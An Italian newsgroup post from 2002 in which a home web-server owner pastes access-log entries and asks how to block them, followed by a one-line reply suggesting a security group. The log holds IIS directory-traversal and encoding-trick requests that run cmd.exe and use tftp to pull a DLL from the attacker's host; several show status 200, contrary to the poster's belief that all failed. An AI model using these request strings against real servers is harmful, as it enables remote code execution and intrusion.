Newsgroup: it.comp.os.win.win9x
Titolo: server http e messaggi...

Ho un server http da un po' di tempo ma nel log degli accessi ogni tanto mi 
appaiono cose del genere: (xxx.xxx.xxx.xxx è l'IP che fa l'operazione)
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:12 +0100] "GET 
/scripts/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:14 +0100] "GET 
/MSADC/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:16 +0100] "GET 
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:18 +0100] "GET 
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:19 +0100] "GET /scripts/..%
255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:21 +0100] "GET /_vti_bin/..%
255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 
"" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:23 +0100] "GET /_mem_bin/..%
255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 
"" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:25 +0100] "GET /msadc/..%255c../..%
255c../..%255c/..%c1%1c../..%c1%1c../..%c1%
1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:26 +0100] "GET /scripts/..%c1%
1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:28 +0100] "GET /scripts/..%c0%
2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:29 +0100] "GET /scripts/..%c0%
af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:31 +0100] "GET /scripts/..%c1%
9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:33 +0100] "GET /scripts/..%%35%
63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:35 +0100] "GET /scripts/..%%35%
63../winnt/system32/cmd.exe?/c+tftp%20-i%20xxx.xxx.xxx.xxx%20GET%
20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:37 +0100] "GET /scripts/..%%35%
63../winnt/system32/cmd.exe?/c+tftp%20-i%20xxx.xxx.xxx.xxx%20GET%
20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:39 +0100] "GET /scripts/..%%35%
63../winnt/system32/cmd.exe?/c+tftp%20-i%20xxx.xxx.xxx.xxx%20GET%
20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:41 +0100] "GET /scripts/..%%35%
63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:43 +0100] "GET /scripts/..%%
35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:45 +0100] "GET /scripts/..%%
35c../winnt/system32/cmd.exe?/c+tftp%20-i%20xxx.xxx.xxx.xxx%20GET%
20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:48 +0100] "GET /scripts/..%%
35c../winnt/system32/cmd.exe?/c+tftp%20-i%20xxx.xxx.xxx.xxx%20GET%
20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:50 +0100] "GET /scripts/..%%
35c../winnt/system32/cmd.exe?/c+tftp%20-i%20xxx.xxx.xxx.xxx%20GET%
20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:52 +0100] "GET /scripts/..%%
35c../httpodbc.dll HTTP/1.0" 200 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:54 +0100] "GET /scripts/..%25%35%
63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
xxx.xxx.xxx.xxx - - [15/Jul/2002:11:11:56 +0100] "GET /scripts/..%
252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
Quello che credo è ke sia un tentativo hacker (o cracker se mi voleva far 
del male), ma senza risultato visto che da sempre errore di pagina non 
trovata, di intrufolarsi nel mio pc. Come posso evitarlo? Non posso 
ignorare l'IP perché è cmq un'operazione fatta da vari IP.
Ringrazio per le risposte
-- 
by \ \/ /\/
PerezDeQueya80 on AzzurraNET.org
http://digilander.iol.it/IVNhp

"PerezDeQueya80"
Prova a postarlo su
it.comp.sicurezza.virus
--
Fosco